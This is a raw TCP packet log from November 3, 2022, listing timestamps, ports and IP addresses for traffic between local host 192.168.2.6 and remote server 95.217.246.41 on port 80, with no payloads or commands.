Nov 3, 2022 12:47:18.863249063 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.863275051 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.863317966 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.863356113 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.863363981 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.863375902 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.863394976 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.863435984 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.863468885 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.863468885 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.863622904 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.863842010 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.863881111 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.863907099 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.863923073 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.863945007 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.863964081 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.863976955 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.864020109 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.864161015 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.864233017 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.864284992 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.864322901 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.864360094 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.864362001 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.864379883 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.864406109 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.864424944 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.864464998 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.867495060 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.867539883 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.867578983 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.867618084 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.867620945 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.867659092 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.867672920 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.867672920 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.867702007 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.867712975 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.867743015 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.867752075 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.867782116 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.867789030 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.867821932 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.867830992 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.867875099 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.867876053 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.867929935 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.867939949 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.867973089 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.868010998 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.868016005 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.868026972 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.868052959 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.868066072 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.868088007 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.868093014 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.868132114 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.868146896 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.868182898 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.868190050 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.868226051 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.868232012 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.868272066 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.868278980 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.868311882 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.868316889 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.868351936 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.868365049 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.868402004 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.868402958 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.868438005 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.868442059 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.868474960 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.868478060 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.868511915 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.868511915 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.868546009 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.868547916 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.868583918 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.868587971 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.868623018 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.868623972 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.868658066 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.868659973 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.868697882 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.868699074 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.868735075 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.868735075 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.868804932 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.868804932 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.868840933 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.868840933 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.868875980 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.868875980 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.868915081 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.868913889 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.868952036 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.868961096 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.868988037 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.868988037 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.869025946 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.869029045 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.869060040 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.869061947 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.869098902 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.869100094 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.869136095 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.869147062 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.869173050 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.869177103 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.869209051 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.869236946 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.869246006 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.869281054 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.869285107 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.869309902 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.869319916 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.869332075 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.869355917 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.869364977 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.869391918 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.869421005 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.869427919 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.869437933 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.869465113 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.869478941 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.869501114 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.869518995 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.869537115 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.869545937 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.869575024 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.869611025 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.869611979 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.869631052 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.869647026 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.869663000 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.869682074 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.869693995 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.869718075 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.869728088 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.869752884 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.869760990 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.869790077 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.869798899 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.869824886 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.869834900 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.869862080 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.869868994 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.869900942 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.869910002 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.869946957 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.869947910 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.869983912 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.869992971 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.870021105 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.870028019 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.870055914 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.870065928 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.870090961 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.870105028 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.870126009 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.870136023 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.870162010 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.870176077 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.870198965 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.870210886 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.870233059 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.870248079 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.870270014 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.870306015 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.870332003 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.870332003 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.870341063 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.870348930 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.870378017 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.870385885 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.870414972 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.870420933 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.870451927 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.870459080 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.870486975 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.870500088 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.870522976 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.870536089 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.870558977 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.870567083 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.870604038 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.870637894 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.870655060 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.870655060 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.870671988 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.870682001 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.870707989 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.870714903 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.870743036 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.870754004 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.870779037 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.870784998 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.870815039 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.870829105 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.870850086 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.870857000 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.870907068 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:18.870910883 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:18.870960951 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.158179998 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.158432961 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.442245007 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.442544937 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.703999043 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.704319954 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.742561102 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.742638111 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.742686987 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.742702961 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.742732048 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.742758036 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.742760897 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.742790937 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.742800951 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.742836952 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.742844105 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.742888927 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.742934942 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.742979050 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.742990971 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.743035078 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.743033886 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.743074894 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.743077993 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.743122101 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.743148088 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.743160009 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.743165016 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.743200064 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.743206978 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.743242979 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.743249893 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.743284941 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.743319035 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.743360043 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.743381977 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.743422985 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.743447065 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.743485928 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.743510962 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.743551016 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.743572950 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.743613958 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.743618965 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.743654013 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.743660927 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.743695021 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.743702888 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.743737936 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.743745089 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.743781090 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.743786097 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.743818998 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.743828058 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.743863106 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.743884087 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.743916035 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.743932009 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.743964911 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.743978024 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.744010925 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.744019985 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.744055986 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.744062901 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.744095087 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.744106054 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.744138002 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.744148970 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.744182110 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.744190931 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.744221926 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.744249105 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.744282007 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.744293928 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.744332075 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.744369984 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.744420052 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.744429111 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.744467020 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.744472027 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.744508982 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.744513988 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.744546890 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.744555950 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.744589090 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.744597912 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.744632006 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.744638920 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.744673967 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.744683027 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.744715929 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.744725943 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.744759083 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.744780064 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.744812965 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.744818926 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.744851112 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.744851112 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.744884968 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.744889021 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.744924068 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.744927883 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.744960070 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.744968891 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.745007038 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.745007992 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.745048046 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.783586025 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.783655882 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.783699036 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.783739090 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.783744097 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.783782005 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.783791065 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.783811092 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.783827066 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.783839941 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.783869028 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.783878088 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.783915043 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.783921957 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.783955097 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.783965111 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.784002066 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.784010887 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.784048080 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.784054041 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.784090996 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.784099102 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.784136057 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.784143925 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.784185886 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.784187078 CET	80	49708	95.217.246.41	192.168.2.6
